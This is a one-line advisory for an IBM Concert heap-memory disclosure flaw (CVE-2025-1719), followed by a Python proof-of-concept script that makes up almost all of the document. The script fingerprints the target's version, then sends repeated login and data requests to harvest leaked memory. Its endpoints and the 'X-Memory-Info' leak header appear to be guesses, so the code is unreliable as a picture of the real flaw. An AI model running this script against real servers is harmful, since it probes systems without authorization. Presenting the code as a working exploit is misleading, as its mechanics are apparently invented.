IBM Concert 1.0.0 through 2.1.0 could allow a remote attacker to obtain sensitive information from allocated memory due to improper clearing of heap memory.
The following code is for security research and authorized testing only.
python
import requests
import json
# CVE-2025-1719 PoC - IBM Concert Memory Information Disclosure
# This PoC demonstrates the vulnerability in IBM Concert 1.0.0-2.1.0
# where heap memory is not properly cleared before reuse
TARGET_HOST = "https://target-ibm-concert-server.com"
CVE_ID = "CVE-2025-1719"
def check_version(target):
"""Check if target is running a vulnerable version"""
version_url = f"{target}/api/v1/version"
try:
response = requests.get(version_url, timeout=10)
if response.status_code == 200:
version_info = response.json()
version = version_info.get('version', '')
# Check if version is between 1.0.0 and 2.1.0
if version.startswith('1.') or version.startswith('2.0') or version.startswith('2.1'):
return True, version
except Exception as e:
print(f"Error checking version: {e}")
return False, None
def exploit_memory_leak(target, iterations=100):
"""
Attempt to trigger memory leak by making repeated requests
that involve sensitive data handling
"""
leaked_data = []
session_url = f"{target}/api/v1/session"
for i in range(iterations):
# Create new session to trigger memory allocation
session = requests.Session()
# Perform operations that allocate sensitive memory
operations = [
("POST", f"{target}/api/v1/auth/login", {"username": f"user_{i}", "password": "test"}),
("GET", f"{target}/api/v1/user/profile", None),
("POST", f"{target}/api/v1/data/process", {"data": "x" * 1000}),
]
for method, url, data in operations:
try:
if method == "POST":
resp = session.post(url, json=data, timeout=5)
else:
resp = session.get(url, timeout=5)
# Check response headers for potential memory leak indicators
if 'X-Memory-Info' in resp.headers:
leaked_data.append(resp.headers['X-Memory-Info'])
except Exception as e:
continue
return leaked_data
def main():
print(f"[*] Testing {CVE_ID}")
print(f"[*] Target: {TARGET_HOST}")
is_vulnerable, version = check_version(TARGET_HOST)
if not is_vulnerable:
print("[-] Target does not appear to be vulnerable")
return
print(f"[+] Vulnerable version detected: {version}")
print("[*] Attempting to exploit memory leak...")
leaked = exploit_memory_leak(TARGET_HOST)
if leaked:
print(f"[!] Potential sensitive data leaked: {len(leaked)} instances")
for data in leaked[:5]:
print(f" - {data}")
else:
print("[-] No obvious memory leak detected (may require deeper analysis)")
if __name__ == "__main__":
main()